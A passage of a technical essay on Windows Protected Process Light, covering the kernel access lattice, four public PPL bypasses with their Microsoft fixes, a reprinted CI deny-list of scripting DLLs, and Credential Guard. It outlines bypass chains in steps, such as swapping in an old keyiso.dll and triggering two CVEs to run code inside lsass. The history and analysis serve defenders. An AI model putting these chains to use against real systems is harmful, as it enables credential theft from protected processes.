The subset of `PROCESS_*` access rights that the PPL lattice always allows the standard `SeAccessCheck` to evaluate. Includes `SYNCHRONIZE`, `PROCESS_QUERY_LIMITED_INFORMATION`, `PROCESS_SET_LIMITED_INFORMATION`, and `PROCESS_SUSPEND_RESUME`. `PROCESS_TERMINATE` is included for callers below the Antimalware tier (deny mask `0xFC7FE`), but the kernel widens the deny mask to `0xFC7FF` at the `Antimalware`, `Lsa`, and `WinTcb` rungs -- bit 0, `PROCESS_TERMINATE` -- making those three rungs unkillable except from peers or higher.
&lt;p&gt;Second, it indexes into &lt;code&gt;RtlProtectedAccess[]&lt;/code&gt; using the caller&apos;s signer rung and the target&apos;s type, retrieves the row of permissible access bits, and ANDs the row with the full mask. If the result is non-empty, the access proceeds; if the result is zero, the kernel strips the full-mask bits from the request and returns either the limited subset (if the caller asked for any limited bits) or &lt;code&gt;STATUS_ACCESS_DENIED&lt;/code&gt;. &lt;code&gt;RtlValidProtectionLevel&lt;/code&gt; runs alongside as a sanity check on the encoded byte to catch malformed &lt;code&gt;EPROCESS.Protection&lt;/code&gt; values that would otherwise let the lattice walk off the end of the table.&lt;/p&gt;

sequenceDiagram
    participant App as Caller (any token)
    participant Nt as NtOpenProcess
    participant PsPO as PspProcessOpen
    participant Chk as PspCheckForInvalidAccessByProtection
    participant Rtl as RtlTestProtectedAccess + RtlValidProtectionLevel
    participant Tab as RtlProtectedAccess[] table
    participant SAC as SeAccessCheck
    App-&amp;gt;&amp;gt;Nt: NtOpenProcess(DesiredAccess)
    Nt-&amp;gt;&amp;gt;PsPO: dispatch
    PsPO-&amp;gt;&amp;gt;Chk: protection check
    Chk-&amp;gt;&amp;gt;Rtl: lookup caller / target rungs
    Rtl-&amp;gt;&amp;gt;Tab: index row, retrieve allowed bits
    Tab--&amp;gt;&amp;gt;Rtl: row of allowed access bits
    Rtl--&amp;gt;&amp;gt;Chk: full mask allowed or stripped
    Chk--&amp;gt;&amp;gt;PsPO: residual mask (full or limited)
    PsPO-&amp;gt;&amp;gt;SAC: residual mask vs DACL + token
    SAC--&amp;gt;&amp;gt;Nt: final mask
    Nt--&amp;gt;&amp;gt;App: handle or STATUS_ACCESS_DENIED
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The protection check runs &lt;em&gt;before&lt;/em&gt; &lt;code&gt;SeAccessCheck&lt;/code&gt;. Privileges are evaluated by &lt;code&gt;SeAccessCheck&lt;/code&gt;. The reason &lt;code&gt;SeDebugPrivilege&lt;/code&gt; does not help is structural -- it is not consulted at the moment of denial.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Four worked traces make this concrete.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case (a): admin -&amp;gt; lsass with &lt;code&gt;PROCESS_ALL_ACCESS&lt;/code&gt;.&lt;/strong&gt; The caller has no &lt;code&gt;EPROCESS.Protection.Type&lt;/code&gt; (it is &lt;code&gt;None&lt;/code&gt;). The target is &lt;code&gt;PPL/Lsa&lt;/code&gt;. The lattice forbids the full mask. The kernel strips every bit of &lt;code&gt;PROCESS_ALL_ACCESS&lt;/code&gt; except the limited subset. The caller wanted to write memory; the limited subset cannot write memory; the operation effectively fails. This is the Mimikatz scenario.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case (b): admin -&amp;gt; lsass with &lt;code&gt;PROCESS_QUERY_LIMITED_INFORMATION&lt;/code&gt;.&lt;/strong&gt; Same caller, same target, but the requested mask sits entirely in the limited subset. The lattice does not gate the limited mask. &lt;code&gt;SeAccessCheck&lt;/code&gt; evaluates the DACL on &lt;code&gt;lsass.exe&lt;/code&gt;, finds that administrators are permitted to query basic process information, and the call succeeds. This is why Process Explorer can still enumerate &lt;code&gt;lsass.exe&lt;/code&gt; and show its threads even when LSA protection is enabled.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case (c): &lt;code&gt;MsMpEng.exe&lt;/code&gt; (PPL/Antimalware, rung 3) -&amp;gt; &lt;code&gt;lsass.exe&lt;/code&gt; (PPL/Lsa, rung 4) with &lt;code&gt;PROCESS_VM_READ&lt;/code&gt;.&lt;/strong&gt; The lattice rule: caller rung 3 &amp;lt; target rung 4, so the full mask is denied. Defender cannot read LSASS memory. Defender does not need to; the cross-rung isolation prevents one Microsoft service from reading another Microsoft service&apos;s secrets even within the same trusted system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Case (d): hypothetical &lt;code&gt;PPL/WinTcb&lt;/code&gt; (rung 6) -&amp;gt; &lt;code&gt;lsass.exe&lt;/code&gt; (PPL/Lsa, rung 4) with &lt;code&gt;PROCESS_VM_READ&lt;/code&gt;.&lt;/strong&gt; The lattice rule: caller rung 6 &amp;gt;= target rung 4, so the full mask is allowed. A process signed at the WinTcb rung can read LSASS memory by design. This is how Service Control Manager and Windows Error Reporting can still interact with protected &lt;code&gt;lsass.exe&lt;/code&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Caller&lt;/th&gt;
&lt;th&gt;Target&lt;/th&gt;
&lt;th&gt;Mask&lt;/th&gt;
&lt;th&gt;Lattice rule&lt;/th&gt;
&lt;th&gt;Outcome&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Admin, no Protection&lt;/td&gt;
&lt;td&gt;PPL/Lsa&lt;/td&gt;
&lt;td&gt;PROCESS_ALL_ACCESS&lt;/td&gt;
&lt;td&gt;Caller has no rung&lt;/td&gt;
&lt;td&gt;Full mask stripped (denied)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin, no Protection&lt;/td&gt;
&lt;td&gt;PPL/Lsa&lt;/td&gt;
&lt;td&gt;PROCESS_QUERY_LIMITED_INFORMATION&lt;/td&gt;
&lt;td&gt;Limited mask&lt;/td&gt;
&lt;td&gt;Allowed (DACL permitting)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PPL/Antimalware (3)&lt;/td&gt;
&lt;td&gt;PPL/Lsa (4)&lt;/td&gt;
&lt;td&gt;PROCESS_VM_READ&lt;/td&gt;
&lt;td&gt;3 &amp;lt; 4&lt;/td&gt;
&lt;td&gt;Denied&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PPL/WinTcb (6)&lt;/td&gt;
&lt;td&gt;PPL/Lsa (4)&lt;/td&gt;
&lt;td&gt;PROCESS_VM_READ&lt;/td&gt;
&lt;td&gt;6 &amp;gt;= 4&lt;/td&gt;
&lt;td&gt;Allowed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Audit bit revisits the table from a different angle. The bit is annotated &lt;code&gt;Reserved&lt;/code&gt; in itm4n&apos;s public structure definition and named without semantic gloss in Ionescu Part 1; the precise runtime emission shape on an &lt;code&gt;OpenProcess&lt;/code&gt; denial is not enumerated in any of Ionescu Part 1, Forshaw 2018, itm4n&apos;s RunAsPPL writeup, or Microsoft Learn&apos;s RunAsPPL page (whose CodeIntegrity events 3033/3063/3065/3066 are scoped to &lt;code&gt;AuditLevel&lt;/code&gt; under &lt;code&gt;IFEO\LSASS.exe&lt;/code&gt; and to DLL-load failures, not per-process Audit-bit denials) [@ionescu-part1] [@itm4n-runasppl] [@learn-runasppl]. The field name and bit position imply a forensic side-channel; the exact event shape is not in the public record.Two adjacent kernel mechanisms exist in the same neighbourhood but mediate different threat models. &lt;code&gt;PROCESS_TRUST_LABEL_ACE&lt;/code&gt; (a Trust SID ACL entry, introduced in Windows 8.1 alongside PPL) is an ACL-side companion that runs &lt;em&gt;inside&lt;/em&gt; &lt;code&gt;SeAccessCheck&lt;/code&gt; -- it adds a token-style trust label that interacts with the security descriptor in the standard way. Code Integrity Guard (&lt;code&gt;ProcessSignaturePolicy&lt;/code&gt;) is a per-process &lt;em&gt;signed-image&lt;/em&gt; enforcer settable at &lt;code&gt;CreateProcess&lt;/code&gt; time via the &lt;code&gt;PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY&lt;/code&gt; attribute. Neither is part of PPL; both interact with the same problem space.&lt;/p&gt;
&lt;p&gt;The kernel verifies who is asking, what they are asking for, and at what rung the target sits. What the kernel &lt;em&gt;cannot&lt;/em&gt; verify is the behaviour of code that arrives through a signed channel and then executes against attacker-controlled data. That structural seam is the entire premise of the bypass arms race, and it is the next section.&lt;/p&gt;
&lt;h2&gt;8. The Bypass Arms Race -- Forshaw, itm4n, Landau&lt;/h2&gt;
&lt;p&gt;If the kernel only verifies the channel by which code enters a PPL, every bypass should attack the seam between channel and behaviour. Test that prediction against the public record. Since 2018, four named bypass acts have hit major Microsoft research blogs. All four sit in the same structural class.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The kernel verifies the channel. It does not verify the behaviour. Every public PPL bypass since 2018 attacks the seam between what the channel proves (a signature, an EKU, a section identity) and what the code does once mapped.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Act I (2018) -- Forshaw and JScript-into-PPL&lt;/h3&gt;
&lt;p&gt;James Forshaw, then at Google Project Zero, published &quot;Injecting Code into Windows Protected Processes Using COM&quot; in October 2018 [@forshaw-2018-10]. The mechanism: a PPL can be made to instantiate a COM object whose CLSID resolves to &lt;code&gt;scrobj.dll&lt;/code&gt;, the Microsoft-signed Windows Script Component scripting host. Once loaded into the PPL, the script object accepts attacker-supplied source code and executes it inside the protected process. The DLL is signed. The kernel admits it. The kernel cannot reason about the JScript source it then runs.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s fix in Windows 10 1803 (April 2018, deployed broadly through that year) was a hardcoded deny-list in &lt;code&gt;CI.DLL&lt;/code&gt;. Forshaw&apos;s own writeup gives the source verbatim [@forshaw-2018-10]:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;UNICODE_STRING g_BlockedDllsForPPL[] = {
    DECLARE_USTR(&quot;scrobj.dll&quot;),
    DECLARE_USTR(&quot;scrrun.dll&quot;),
    DECLARE_USTR(&quot;jscript.dll&quot;),
    DECLARE_USTR(&quot;jscript9.dll&quot;),
    DECLARE_USTR(&quot;vbscript.dll&quot;)
};

NTSTATUS CipMitigatePPLBypassThroughInterpreters(
    PEPROCESS Process, LPBYTE Image, SIZE_T ImageSize)
{
    if (!PsIsProtectedProcess(Process)) return STATUS_SUCCESS;
    // walk g_BlockedDllsForPPL; if any match, return STATUS_DYNAMIC_CODE_BLOCKED
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Five DLLs, hardcoded. Microsoft Learn corroborates the policy on the user-facing side [@learn-am-services]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The following scripting DLLs are forbidden by CodeIntegrity inside a protected process: scrobj.dll, scrrun.dll, jscript.dll, jscript9.dll, and vbscript.dll.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Channel: a Microsoft-signed DLL. Behaviour: arbitrary attacker script. The fix narrows the channel by name-listing the five DLLs known to admit attacker behaviour. The class survives.The mechanism was previewed at Recon Montreal 2018 in the joint Forshaw-Ionescu talk &quot;Unknown Known DLLs and other Code Integrity Trust Violations&quot; (June 15-17, 2018) [@recon-mtl-2018]. Forshaw&apos;s August 2017 &quot;Bypassing VirtualBox Process Hardening&quot; essay [@forshaw-2017-vbox] is the structural precursor -- it makes the same channel-vs-behaviour argument against a different kernel-supported process-hardening regime.&lt;/p&gt;
&lt;h3&gt;Act II (2018-2021) -- DefineDosDevice and PPLdump&lt;/h3&gt;
&lt;p&gt;In his August 2018 post on object-directory exploits [@forshaw-2018-08], Forshaw added a single throwaway sentence that the security community would spend three years productising. itm4n quotes it verbatim in his 2021 SCRT walkthrough [@itm4n-scrt]:&lt;/p&gt;

Abusing the DefineDosDevice API actually has a second use, it&apos;s an Administrator to Protected Process Light (PPL) bypass.
&lt;p&gt;The mechanism, fully worked out by itm4n in April 2021, is structural and uses that same primitive. As an administrator, call &lt;code&gt;DefineDosDevice&lt;/code&gt; to create a symbolic link in &lt;code&gt;\KnownDlls\&lt;/code&gt; (the object-directory subkey that the loader uses for fast known-DLL lookups). The call is dispatched via RPC to &lt;code&gt;csrss.exe&lt;/code&gt;, which runs at PPL/WinTcb (rung 6) and so has the lattice authority to write into protected directories. The administrator gets a &lt;code&gt;\KnownDlls\&lt;/code&gt; entry pointing at an attacker-controlled section. Now start a PPL. The PPL&apos;s loader resolves DLL names through &lt;code&gt;\KnownDlls\&lt;/code&gt; and finds the administrator&apos;s entry. The PPL maps the attacker&apos;s section without re-validating its on-disk signature, because &lt;code&gt;\KnownDlls\&lt;/code&gt; is the kernel&apos;s vouched-for fast path.&lt;/p&gt;
&lt;p&gt;itm4n&apos;s PPLdump tool, published April 2021, automated the attack. The README test matrix lists every Windows version it ran against [@ppldump-repo]. For fifteen months, an administrator could dump any PPL&apos;s memory, including &lt;code&gt;lsass.exe&lt;/code&gt;, despite &lt;code&gt;RunAsPPL&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s fix arrived in build 19044.1826 (the July 2022 update to Windows 10 21H2). itm4n&apos;s &quot;End of PPLdump&quot; writeup describes the patch and the BinDiff diff verbatim [@itm4n-end-of-ppldump]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The conclusion is that PPLs now appear to be behaving just like PPs and therefore no longer rely on Known DLLs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The fix patched &lt;code&gt;LdrpInitializeProcess&lt;/code&gt; in NTDLL to skip &lt;code&gt;\KnownDlls\&lt;/code&gt; for PPL processes, behind a Velocity feature flag (&lt;code&gt;Feature_Servicing_2206c_38427506__private_IsEnabled&lt;/code&gt;). PPLdump&apos;s repository README now opens with [@ppldump-repo]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;2022-07-24 - As of Windows 10 21H2 10.0.19044.1826 (July 2022 update), the exploit implemented in PPLdump no longer works. A patch in NTDLL now prevents PPLs from loading Known DLLs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;itm4n&apos;s structural finding -- that *PPLs honoured &lt;code&gt;\KnownDlls\&lt;/code&gt; while PPs did not* -- is the most interesting failure in the eight-year run, because the asymmetry sat in plain sight from 2013 to 2022 and nobody had asked &quot;why are PPs and PPLs loading sections differently?&quot; The fix closes one asymmetry. The structural class survives.PPLdump&apos;s substitution chain uses NTFS transactions and Forrest Orr&apos;s &quot;phantom DLL hollowing&quot; technique to materialise the attacker-controlled section on disk in a way the kernel section creator will accept [@forrest-orr-hollow]. Orr&apos;s writeup is the original publication of the hollowing primitive; PPLdump composes it with the &lt;code&gt;\KnownDlls\&lt;/code&gt; redirection trick.&lt;/p&gt;
&lt;h3&gt;Act III (2022-2024) -- Landau&apos;s PPLFault CI TOCTOU&lt;/h3&gt;
&lt;p&gt;Gabriel Landau, then at Elastic, presented &quot;PPLdump Is Dead. Long Live PPLdump!&quot; at Black Hat Asia 2023 [@bh-asia-2023-pdf]. The mechanism is a Time-Of-Check / Time-Of-Use bug at the section-creation layer.&lt;/p&gt;

A class of bug in which a security property is verified at one point in time but the underlying object is mutable between the check and the use. The protected resource passes its check, then changes between check and access, and the operation proceeds against the changed state without re-verification.
&lt;p&gt;The TOCTOU here is subtle. When a PPL calls &lt;code&gt;NtCreateSection&lt;/code&gt; on a Microsoft-signed DLL, the kernel&apos;s memory manager calls &lt;code&gt;MiValidateSectionCreate&lt;/code&gt;, which calls into &lt;code&gt;ci.dll&lt;/code&gt; to verify the file&apos;s Authenticode signature. The check succeeds. The section is created. But the memory manager does not page in the file contents at section-create time; it pages them in lazily, on demand, when threads first touch the mapped pages. If an attacker can keep the section&apos;s backing file &lt;em&gt;unsubstituted&lt;/em&gt; during the signature check and substituted during the lazy page-in, the kernel will execute attacker bytes through a section whose signature it already verified.&lt;/p&gt;
&lt;p&gt;Landau&apos;s exploit uses Windows&apos; CloudFilter API. An attacker holds an exclusive oplock on a Microsoft-signed DLL during the section-create signature check. After the check passes, the attacker&apos;s CloudFilter &lt;code&gt;FetchDataCallback&lt;/code&gt; provides different bytes (the payload) when the kernel pages in the section. The PPL maps and executes the payload. Landau&apos;s Elastic post documents the chain verbatim [@elastic-pplfault]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The internal memory manager function &lt;code&gt;MiValidateSectionCreate&lt;/code&gt; relies on the Code Integrity module &lt;code&gt;ci.dll&lt;/code&gt; to handle the requisite cryptography and PKI policy.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Microsoft&apos;s fix shipped in Windows Insider Canary build 25941 on September 1, 2023 [@elastic-pplfault]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;On September 1, 2023, Microsoft released a new build of Windows Insider Canary, version 25941 ... Build 25941 includes improvements to the Code Integrity (CI) subsystem that mitigate a long-standing issue that enables attackers to load unsigned code into Protected Process Light (PPL) processes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The fix narrows the immediate channel by extending page-hash validation to PPL-loaded images that reside on &lt;em&gt;remote&lt;/em&gt; (SMB redirector) paths -- the precise surface that PPLFault required to drive its CloudFilter &lt;code&gt;FetchDataCallback&lt;/code&gt; substitution [@elastic-pplfault]. Locally-cached PPL DLL loads continue to rely on the section-create signature check, so the structural seam survives. The GA patch shipped on February 13, 2024 [@pplfault-repo]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;2024-02 UPDATE: Microsoft patched PPLFault on 2024-02-13.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Channel: a signed Microsoft DLL whose hash matched at section create. Behaviour: attacker payload mapped via the lazy page-in. The fix narrows the channel by widening the verification surface from &quot;the file at section-create time&quot; to &quot;every page at fault time.&quot; The class survives.&lt;/p&gt;
&lt;h3&gt;Act IV (2022-2024) -- BYOVDLL and itm4n&apos;s KeyIso chain&lt;/h3&gt;
&lt;p&gt;Bring Your Own Vulnerable DLL. Coined by Gabriel Landau on Twitter in October 2022 (itm4n screenshots the original tweet [@itm4n-ghost-part1]; tweet status 1580067594568364032). Productised by itm4n in August 2024 in &quot;Ghost in the PPL Part 1.&quot;&lt;/p&gt;

A bypass class against any signature-gated security mechanism in which the attacker loads a *legitimately signed but historically vulnerable* binary and exploits the known vulnerability inside it. The signature check passes; the vulnerability does the work. The structural property that makes the class hard to fix is that the kernel cannot deny-list legitimately signed older Microsoft DLLs without breaking the deployments that still depend on them.
&lt;p&gt;itm4n&apos;s specific chain targets the CNG Key Isolation service (&quot;KeyIso&quot;), which runs in &lt;code&gt;lsass.exe&lt;/code&gt; and so inherits its PPL/Lsa protection. The chain is precise [@itm4n-ghost-part1]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;As administrator, stop the KeyIso service.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Services\KeyIso\Parameters\ServiceDll&lt;/code&gt; to point at an older &lt;code&gt;keyiso.dll&lt;/code&gt; extracted from Microsoft update KB5023778. This DLL is Microsoft-signed; the kernel admits it.&lt;/li&gt;
&lt;li&gt;Restart the KeyIso service. The older &lt;code&gt;keyiso.dll&lt;/code&gt; loads into LSASS at PPL/Lsa.&lt;/li&gt;
&lt;li&gt;Trigger CVE-2023-36906, an out-of-bounds read information disclosure in the older &lt;code&gt;keyiso.dll&lt;/code&gt;, to leak an address.&lt;/li&gt;
&lt;li&gt;Trigger CVE-2023-28229, one of six use-after-frees in the same DLL, to obtain control of a &lt;code&gt;CALL&lt;/code&gt; target via the &lt;code&gt;RAX&lt;/code&gt; register.&lt;/li&gt;
&lt;li&gt;Execute attacker code at PPL/Lsa.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The CVEs are real and tracked. k0shl&apos;s writeup is the primary root-cause analysis [@k0shl-keyiso]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Microsoft patched vulnerabilities I reported in CNG Key Isolation service, assigned CVE-2023-28229 and CVE-2023-36906, the CVE-2023-28229 included 6 use after free vulenrabilities with similar root cause and the CVE-2023-36906 is a out of bound read information disclosure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;NVD records both [@nvd-2023-28229] [@nvd-2023-36906]. Y3A&apos;s GitHub repository [@y3a-cve-poc] provides a public PoC for CVE-2023-28229 that itm4n&apos;s chain composes.&lt;/p&gt;
&lt;p&gt;Channel: an actually-Microsoft-signed DLL. Behaviour: the memory-safety vulnerability inside it. There is no general fix announced. Microsoft fixed the specific CVEs by shipping a newer &lt;code&gt;keyiso.dll&lt;/code&gt;, but the older DLL remains in circulation (it ships inside every patched cumulative update bundle), and a kernel that has to admit every legitimately signed older Microsoft DLL has no general defense against the next CVE-of-the-month.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; BYOVDLL has no general patch. Microsoft fixes each underlying CVE on the standard cumulative-update cadence. The class persists for as long as the kernel admits older signed Microsoft DLLs into PPLs, which is for as long as legitimately deployed software depends on the older DLLs.&lt;/p&gt;
&lt;/blockquote&gt;

timeline
    title PPL Bypass Arms Race (2018-2024)
    2018-10 : Forshaw JScript-into-PPL : Fix 1803 Apr 2018 : g_BlockedDllsForPPL deny-list
    2021-04 : itm4n PPLdump (KnownDlls) : Fix Jul 2022 build 19044.1826 : LdrpInitializeProcess patch
    2022-09 : Landau PPLFault (TOCTOU) : Fix Feb 2024 13 GA : CI page-hash for PPLs
    2024-08 : itm4n BYOVDLL KeyIso chain : No general fix : CVEs patched piecewise
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Act&lt;/th&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;Channel verified&lt;/th&gt;
&lt;th&gt;Behaviour exploited&lt;/th&gt;
&lt;th&gt;Microsoft fix&lt;/th&gt;
&lt;th&gt;Fix date&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;I&lt;/td&gt;
&lt;td&gt;2018&lt;/td&gt;
&lt;td&gt;Microsoft-signed &lt;code&gt;scrobj.dll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;JScript source executed by COM object&lt;/td&gt;
&lt;td&gt;&lt;code&gt;g_BlockedDllsForPPL&lt;/code&gt; deny-list of 5 DLLs&lt;/td&gt;
&lt;td&gt;Apr 2018 (1803)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;II&lt;/td&gt;
&lt;td&gt;2021&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\KnownDlls\&lt;/code&gt; symlink (CSRSS-blessed)&lt;/td&gt;
&lt;td&gt;Attacker section mapped without re-validation&lt;/td&gt;
&lt;td&gt;NTDLL &lt;code&gt;LdrpInitializeProcess&lt;/code&gt; patch&lt;/td&gt;
&lt;td&gt;Jul 2022 (19044.1826)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;III&lt;/td&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;Signed DLL passed &lt;code&gt;MiValidateSectionCreate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CloudFilter substitutes bytes on lazy page-in&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/INTEGRITYCHECK&lt;/code&gt; page hashes for PPLs&lt;/td&gt;
&lt;td&gt;Feb 2024 (GA)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IV&lt;/td&gt;
&lt;td&gt;2024&lt;/td&gt;
&lt;td&gt;Legitimately-signed older &lt;code&gt;keyiso.dll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Use-after-free + OOB read (CVE-2023-28229, CVE-2023-36906)&lt;/td&gt;
&lt;td&gt;None (CVE-by-CVE)&lt;/td&gt;
&lt;td&gt;open&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

flowchart TD
    A[Admin stops KeyIso service]
    B[Repoint ServiceDll to older keyiso.dll&lt;br /&gt;from KB5023778]
    C[Restart KeyIso service]
    D[Older keyiso.dll loads&lt;br /&gt;into lsass.exe PPL/Lsa]
    E[Trigger CVE-2023-36906&lt;br /&gt;OOB read for info leak]
    F[Trigger CVE-2023-28229&lt;br /&gt;UAF for RAX control]
    G[Code execution at PPL/Lsa]
    A --&amp;gt; B --&amp;gt; C --&amp;gt; D --&amp;gt; E --&amp;gt; F --&amp;gt; G

itm4n explicitly attributes the BYOVDLL framing to Landau&apos;s October 2022 tweet, even though itm4n&apos;s KeyIso chain is the first public productisation. The attribution chain matters because it documents how a one-line research observation (Twitter status 1580067594568364032, screenshot preserved in [@itm4n-ghost-part1]) became a working exploit two years later. The pattern repeats in this domain: Forshaw&apos;s one-sentence DefineDosDevice comment to PPLdump (3 years); Landau&apos;s BYOVDLL tweet to itm4n&apos;s KeyIso chain (2 years). The structural class outlives its discoverer.
&lt;p&gt;Four acts, one class. Every public bypass since 2018 has lived in the same narrow shape: code that becomes part of a PPL through a signed channel and executes attacker-influenced data once mapped. Each generation of fix narrows what the channel admits -- name-list five DLLs; ignore &lt;code&gt;\KnownDlls\&lt;/code&gt;; page-hash every section; CVE-patch every vulnerable older DLL. The class survives because the kernel cannot reason about behaviour. By Rice&apos;s theorem it cannot reason about behaviour in general; in practice, it has nowhere even to start.&lt;/p&gt;
&lt;p&gt;If &lt;code&gt;lsass.exe&lt;/code&gt; code execution is reachable through BYOVDLL, where are the actual &lt;em&gt;secrets&lt;/em&gt;? Not in &lt;code&gt;lsass.exe&lt;/code&gt;. Not anywhere the kernel can read at all. The next section is the companion boundary.&lt;/p&gt;
&lt;h2&gt;9. The Companion Boundary -- Credential Guard, VBS, and &lt;code&gt;LsaIso.exe&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;itm4n opens his RunAsPPL walkthrough with a warning [@itm4n-runasppl]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I noticed that this protection tends to be confused with Credential Guard, which is completely different.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The confusion is understandable. Both run on Windows. Both protect LSASS. Both are configured by domain administrators. Both yield &quot;ACCESS_DENIED&quot; to Mimikatz when working correctly. They are nonetheless answering different questions, and they stack rather than replace each other.&lt;/p&gt;
&lt;p&gt;PPL stops an &lt;em&gt;administrator&lt;/em&gt; from reading kernel-trusted user-mode memory. It does nothing against a kernel-mode attacker who can simply zero the &lt;code&gt;Protection&lt;/code&gt; byte in the target &lt;code&gt;EPROCESS&lt;/code&gt;. The kernel-mode attacker is the next threat-model rung up, and the kernel-mode attacker is the threat that Credential Guard answers, by moving the credentials themselves out of &lt;code&gt;lsass.exe&lt;/code&gt; entirely.&lt;/p&gt;

A Hyper-V-based isolation regime in which the Windows hypervisor partitions the system into Virtual Trust Levels (VTLs). VTL0 contains the normal Windows kernel and user-mode processes. VTL1 contains the Secure Kernel and a small set of user-mode trustlets. Memory in VTL1 is inaccessible to VTL0, even from VTL0 kernel-mode code.

A user-mode process running inside VTL1. Trustlets are Microsoft-signed at a specific protected-process equivalent rung within VTL1 and serve as the user-mode hosts for VBS-isolated functionality. `LsaIso.exe` is the trustlet that holds the actual credential material on Credential Guard-enabled hosts.
&lt;p&gt;The architecture is, at the highest level, three layers: VTL0 user-mode, VTL0 kernel, and VTL1 (Secure Kernel plus trustlets). On a Credential Guard-enabled host, &lt;code&gt;lsass.exe&lt;/code&gt; still exists in VTL0 user-mode, still protects itself with PPL/Lsa, and still answers authentication requests. But it no longer holds the NTLM hashes, Kerberos TGT keys, or Cred Manager domain credentials. Those secrets live in &lt;code&gt;LsaIso.exe&lt;/code&gt;, a trustlet in VTL1. When LSASS needs to authenticate a credential, it makes a hypercall into VTL1, and &lt;code&gt;LsaIso.exe&lt;/code&gt; performs the cryptographic operation entirely within VTL1 memory, returning only the result. The keys never leave VTL1.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s documentation states the threat model directly [@learn-cg]:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Credential Guard prevents credential theft attacks by protecting NTLM password hashes, Kerberos Ticket Granting Tickets (TGTs), and credentials stored by applications as domain credentials.&lt;/p&gt;
&lt;p&gt;Credential Guard uses Virtualization-based security (VBS) to isolate secrets so that only privileged system software can access them.&lt;/p&gt;
&lt;p&gt;Malware running in the operating system with administrative privileges can&apos;t extract secrets that are protected by VBS.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The third sentence is the load-bearing one. &lt;em&gt;Malware running with administrative privileges&lt;/em&gt; maps cleanly to a PPL bypass that achieves code execution at PPL/Lsa. Even from inside &lt;code&gt;lsass.exe&lt;/code&gt;, the secrets are not there.&lt;/p&gt;

flowchart TD
    subgraph VTL0[VTL0 normal world]
        Admin[Admin / SYSTEM token]
        Lsass[lsass.exe at PPL/Lsa]
        Kern0[VTL0 kernel]
    end
    subgraph VTL1[VTL1 secure world]
        SK[Secure Kernel]
        Iso[LsaIso.exe trustlet]
        Secrets[NTLM hashes, Kerberos TGT keys]
    end
    Admin -- &quot;PPL barrier (lattice)&quot; --x Lsass
    Lsass -- hypercall --&amp;gt; Iso
    Kern0 -- &quot;VBS barrier (VTL boundary)&quot; --x Iso
    Iso --&amp;gt; Secrets
